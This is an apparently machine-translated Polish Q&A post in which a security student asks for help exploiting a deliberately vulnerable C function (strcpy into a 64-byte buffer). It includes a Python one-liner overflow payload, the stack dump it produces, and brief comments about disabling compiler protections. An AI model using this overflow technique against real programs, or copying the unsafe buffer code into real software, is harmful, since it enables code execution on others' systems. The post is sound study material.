Ostatnio uczę się bezpieczeństwa komputerowego i napotkam kilka problemów, i mam z tym problem w szczególności.Korzystanie z przepełnienia bufora w celu wykonania kodu powłoki
Dostałem funkcję ze stałym buforem, który muszę przepełnić, aby wykonać kod powłoki w pliku shellcode. Funkcja ta jest bardzo prosta:
void vuln(char *str) {
char buf[64];
strcpy(buf, str);
//function provided to display stack on command prompt
dump_stack((void **) buf, 21, (void **) &str);
}
Moje pierwsze przypuszczenie było zmodyfikować adres zamian EIP, funkcji w celu zlokalizowania i wykonać to, co jest w pliku szelkod, ale uświadomiłem sobie, że nie mają adres do pliku, który mogę reprezentować w wartości szesnastkowej. Ja całkiem pewny muszę manipulować adres zwrotny, tak obecnie, co ja nazywam to:
//the string is passed as a command line arg
./buffer_overflow_shellcode $(python -c "print 'A'*72 + '\x41\xd6\xff\xff' ")
moje wyjście jest:
Stack dump:
0xffffd600: 0xffffd7fd (first argument)
0xffffd5fc: 0x08048653 (saved eip)
0xffffd5f8: 0xffffd641 (saved ebp)
0xffffd5f4: 0x41414141
0xffffd5f0: 0x41414141
0xffffd5ec: 0x41414141
0xffffd5e8: 0x41414141
0xffffd5e4: 0x41414141
0xffffd5e0: 0x41414141
0xffffd5dc: 0x41414141
0xffffd5d8: 0x41414141
0xffffd5d4: 0x41414141
0xffffd5d0: 0x41414141
0xffffd5cc: 0x41414141
0xffffd5c8: 0x41414141
0xffffd5c4: 0x41414141
0xffffd5c0: 0x41414141
0xffffd5bc: 0x41414141
0xffffd5b8: 0x41414141
0xffffd5b4: 0x41414141
0xffffd5b0: 0x41414141 (beginning of buffer)
Segmentation fault
skrypt python po prostu drukuje 72 litera A do przepełnij bufor do punktu edp i eip, po tym jak zamieniam adres edp na dodatkowy adres i dojdę do adresu zwrotnego, gotowego do manipulowania nim. Każda pomoc jest naprawdę doceniana, dzięki!
Czy skompilowałeś kod przy użyciu flag '-really-no-protection' i' -make-me-vulnerable-to-everything'? Jest to obecnie konieczne dla tego exploita. –
@ Daniel Fischer Tak, skompilowałem poprawnie poprzednie programy bezpieczeństwa komputera i mogłem je przepełnić bez żadnych problemów. Wiem, że mój program będzie działał zgodnie z zamierzeniami –
OK, tylko sprawdzam oczywistego podejrzanego. –